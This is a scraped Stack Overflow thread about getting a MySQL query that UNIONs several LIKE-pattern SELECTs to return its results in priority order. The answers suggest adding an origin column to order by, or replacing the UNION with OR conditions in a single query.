"author_profile": "https://Stackoverflow.com/users/11315515", "pm_score": 0, "selected": false, "text": "<p>I don't understand why the need of union for taking the data from single table</p>\n\n<pre><code>SELECT A, B, C \nFROM table \nWHERE field LIKE 'query%' \n OR field LIKE '%query' \n OR field LIKE '%query%'\nGROUP BY B \nORDER BY B ASC LIMIT 5\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3839", "https://Stackoverflow.com", "https://Stackoverflow.com/users/547/" ]
I'm trying out the following query: ``` SELECT A,B,C FROM table WHERE field LIKE 'query%' UNION SELECT A,B,C FROM table WHERE field LIKE '%query' UNION SELECT A,B,C FROM table WHERE field LIKE '%query%' GROUP BY B ORDER BY B ASC LIMIT 5 ``` That's three queries stuck together, kinda sorta. However, the result set that comes back reflects results from query #3 before the results from query #1 which is undesired. Is there any way to prioritize these so that results come as all for query #1, then all for query #2 then all for query #3? I don't want to do this in PHP just yet (not to mention having to control for results that showed up in the first query not to show in the second and so forth).
Maybe you should try including a fourth column, stating the table it came from, and then order and group by it: ``` SELECT A,B,C, "query 1" as origin FROM table WHERE field LIKE 'query%' UNION SELECT A,B,C, "query 2" as origin FROM table WHERE field LIKE '%query' UNION SELECT A,B,C, "query 3" as origin FROM table WHERE field LIKE '%query%' GROUP BY origin, B ORDER BY origin, B ASC LIMIT 5 ```